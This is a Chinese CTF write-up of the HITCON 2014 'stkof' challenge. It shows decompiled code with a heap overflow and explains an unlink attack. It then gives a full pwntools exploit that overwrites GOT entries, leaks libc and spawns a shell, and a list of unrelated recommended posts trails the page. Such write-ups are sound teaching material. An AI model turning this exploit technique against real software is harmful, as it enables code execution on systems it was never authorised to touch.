64位程序,没开PIE  #unlink

程序逻辑

 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
 2 {
 3   int v3; // eax
 4   signed int v5; // [rsp+Ch] [rbp-74h]
 5   char nptr; // [rsp+10h] [rbp-70h]
 6   unsigned __int64 v7; // [rsp+78h] [rbp-8h]
 7
 8   v7 = __readfsqword(0x28u);
 9   alarm(0x78u);
10   while ( fgets(&nptr, 10, stdin) )
11   {
12     v3 = atoi(&nptr);
13     if ( v3 == 2 )
14     {
15       v5 = editnote(&nptr);
16       goto LABEL_14;
17     }
18     if ( v3 > 2 )
19     {
20       if ( v3 == 3 )
21       {
22         v5 = freenote(&nptr);
23         goto LABEL_14;
24       }
25       if ( v3 == 4 )
26       {
27         v5 = useless(&nptr);
28         goto LABEL_14;
29       }
30     }
31     else if ( v3 == 1 )
32     {
33       v5 = newnote(&nptr);
34       goto LABEL_14;
35     }
36     v5 = -1;
37 LABEL_14:
38     if ( v5 )
39       puts("FAIL");
40     else
41       puts("OK");
42     fflush(stdout);
43   }
44   return 0LL;
45 }

editnote函数

 1 signed __int64 editnote()
 2 {
 3   signed __int64 result; // rax
 4   int i; // eax
 5   unsigned int v2; // [rsp+8h] [rbp-88h]
 6   __int64 n; // [rsp+10h] [rbp-80h]
 7   char *ptr; // [rsp+18h] [rbp-78h]
 8   char s; // [rsp+20h] [rbp-70h]
 9   unsigned __int64 v6; // [rsp+88h] [rbp-8h]
10
11   v6 = __readfsqword(0x28u);
12   fgets(&s, 16, stdin);
13   v2 = atol(&s);
14   if ( v2 > 0x100000 )
15     return 0xFFFFFFFFLL;
16   if ( !::s[v2] )
17     return 0xFFFFFFFFLL;
18   fgets(&s, 16, stdin);
19   n = atoll(&s);
20   ptr = ::s[v2];
21   for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) ) //与new时的size不一样,存在堆溢出
22   {
23     ptr += i;
24     n -= i;
25   }
26   if ( n )
27     result = 0xFFFFFFFFLL;
28   else
29     result = 0LL;
30   return result;
31 }

值得注意的是,由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。这里经过测试,会申请两个缓冲区,分别大小为 1024 和 1024。此后,无论是输入输出都不会再申请缓冲区了。所以我们最好最初的申请一个 chunk 来把这些缓冲区给申请了,方便之后操作。

利用思路

由于程序本身没有 leak,要想执行 system 等函数,我们的首要目的还是先构造 leak,基本思路如下

  • 利用 unlink 修改 global[2] 为 &global[2]-0x18。
  • 利用编辑功能修改 global[0] 为 free@got 地址,同时修改 global[1] 为 puts@got 地址,global[2] 为 atoi@got 地址。
  • 修改 free@got 为 puts@plt 的地址,从而当再次调用 free 函数时,即可直接调用 puts 函数。这样就可以泄漏函数内容。
  • free global[2],即泄漏 puts@got 内容,从而知道 system 函数地址以及 libc 中 /bin/sh 地址。
  • 修改 atoi@got 为 system 函数地址,再次调用时,输入 /bin/sh 地址即可。

expolit

 1 from pwn import *
 2 sh=process('./stkof')
 3 elf=ELF('./stkof')
 4 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
 5
 6 def addnote(size):
 7     sh.sendline('1')
 8     sh.sendline(str(size))
 9     sh.recvuntil('OK\n')
10
11 def editnote(index,size,message):
12     sh.sendline('2')
13     sh.sendline(str(index))
14     sh.sendline(str(size))
15     sh.send(message)
16     sh.recvuntil('OK\n')
17
18 def freenote(index):
19     sh.sendline('3')
20     sh.sendline(str(index))
21
22 head=0x602140
23
24 addnote(0x100) #index 1
25 addnote(0x30)  #index 2
26 addnote(0x80)  #index 3
27 #free(3) = unlink(2)
28 #v2=&v2-0x18
29 #head[2]=&head[2]-0x18=head-0x8
30 #v2=head-0x8
31
32 payload=p64(0)
33 payload+=p64(0x31)
34 payload+=p64(head-0x8)
35 payload+=p64(head)
36 payload=payload.ljust(0x30,'a')
37 payload+=p64(0x30)
38 payload+=p64(0x90)
39
40 editnote(2,len(payload),payload)
41 freenote(3)
42 sh.recvuntil('OK\n')
43
44 free_got=elf.got['free']
45 puts_got=elf.got['puts']
46 atoi_got=elf.got['atoi']
47 puts_plt=elf.plt['puts']
48
49 payload='a'*8
50 payload+=p64(free_got)
51 payload+=p64(puts_got)
52 payload+=p64(atoi_got)
53
54 editnote(2,len(payload),payload)
55 #v0=free_got
56 #v1=puts_got
57 #v2=atoi_got
58
59 editnote(0,len(p64(puts_plt)),p64(puts_plt))
60 #free_got ->puts
61
62 freenote(1)
63 #puts(puts_got)
64
65 puts_adr=sh.recvuntil('\nOK\n',drop=True).ljust(8,'\x00')
66 puts_adr=u64(puts_adr)
67 libc_base=puts_adr-libc.symbols['puts']
68 system_adr=libc_base+libc.symbols['system']
69 binsh_adr=libc_base+libc.search('/bin/sh').next()
70 print 'libc_base: '+hex(libc_base)
71 print 'puts_adr: '+hex(puts_adr)
72 print 'system_adr: '+hex(system_adr)
73 print 'binsh_adr: '+hex(binsh_adr)
74
75 payload=p64(system_adr)
76 editnote(2,len(payload),payload)
77 #atoi_got->system
78 payload=p64(binsh_adr)
79 sh.sendline(payload)
80 sh.interactive()

转载于:https://www.cnblogs.com/pfcode/p/10741788.html

2014 HITCON——stkof相关推荐

  1. PWN-PRACTICE-BUUCTF-17

    PWN-PRACTICE-BUUCTF-17 hitcontraining_heapcreator wustctf2020_closed ciscn_2019_es_7 hitcon2014_stko ...

  2. 好好说话之unlink

    堆溢出的第三部分unlink,这可能是有史以来我做的讲解图最多的一篇文章了累死 .可能做pwn的人都应该听过unlink,见面都要说声久仰久仰.学unlink的时候走了一些弯路,也是遇到了很多困扰的问 ...

  3. 【pwn学习】堆溢出(三)- Unlink和UAF

    前置学习 [pwn学习]堆溢出(一) [pwn学习]堆溢出(二)- First Fit 文章目录 什么是Unlink? Unlink如何利用? 加入错误检查 什么是Use-After-free? 例题 ...

  4. 【学习笔记】CTF PWN选手的养成(三)

    atum大佬视频的总结 第三章 课时2  堆漏洞的利用技巧 0X01 基础知识 1.操作系统中的内存布局(Linux) 内核空间&用户空间,堆.栈等:cat /proc/pid/maps 要了 ...

  5. Hitcon 2016 Pwn赛题学习

    PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...

  6. CV算法复现(分类算法4/6):GoogLeNet(2014年 谷歌)

    致谢:霹雳吧啦Wz:https://space.bilibili.com/18161609 目录 致谢:霹雳吧啦Wz:https://space.bilibili.com/18161609 1 本次要 ...

  7. CV算法复现(分类算法3/6):VGG(2014年 牛津大学)

    致谢:霹雳吧啦Wz:https://space.bilibili.com/18161609 目录 致谢:霹雳吧啦Wz:https://space.bilibili.com/18161609 1 本次要 ...

  8. 2014.4新版uboot启动流程分析

    原文 http://blog.csdn.net/skyflying2012/article/details/25804209 此处转载有稍作修改 最近开始接触uboot,现在需要将2014.4版本ub ...

  9. 2014年个人工作总结

    2014年的日常工作,从技术支持岗位调到市场.社区岗位上:日常技术处理工作变为博客.微信.微博.市场活动策划.发送奖品等.如果以此为界:即毕业10年内的主要是软件研发.团队管理.项目管理:第二个十年开 ...

最新文章

  1. 自动驾驶资料合集:视频、书籍与开源项目
  2. IDEA中PlantUML的使用
  3. python语言特点有哪些-Python是什么?Python有什么特点?
  4. Django与数据库操作
  5. 20180104小测
  6. Dynamics CRM2016 Web API之更新记录
  7. 中职计算机说课稿三篇,2020精选中职计算机说课稿3篇(15页)-原创力文档
  8. CSS3否定伪类选择器
  9. 1.7 的concurrentHashMap内部结构
  10. hadoop ha环境下的datanode启动报错java.lang.NumberFormatException: For input string: 10m
  11. 粒子群算法(PSO)求解TSP问题
  12. 如何压缩jpg图片的大小?
  13. 快捷方式图标变白完美解决
  14. 计算机科学与技术双一流排名,计算机科学与技术学科排行榜(大学名单大全2020版)...
  15. 座位安排(seat)
  16. ASEK711KLC-25AB-T霍尔效应线性电流传感器SOIC8
  17. teamviewer连接不上的原因及解决方法有哪些
  18. 如何给html文件夹密码,怎样给文件夹加上密码_分享两种给文件夹设密码的方法...
  19. 单片机c语言1ms 2ms 4ms方波,定时器使用:利用单片机内部定时器0通过P1.0端口输出一定周期的方波信号。 - 试题答案网问答...
  20. 【Java面试题】把数组排成最小的数

热门文章

  1. Appium+python自动化(一)- 环境搭建—上(超详解)
  2. 5G NR 下行调度算法流程
  3. 3不生效 bootstrap_Minitab学习 | 统计学中的Bootstrap方法
  4. 利用Resttemplate进行put请求
  5. 前端智能化的未来 10 年,越早入行越吃香!
  6. go和python区别_go和python_go 和python_go和python区别 - 云+社区 - 腾讯云
  7. linux 卸载32位rar,让CentOS能用yum自动安装rar和unrar
  8. 软件测试是吃青春饭的吗?
  9. react hook函数
  10. matlab带电阻性负载仿真,基于MATLAB的带整流负载同步发电机仿真研究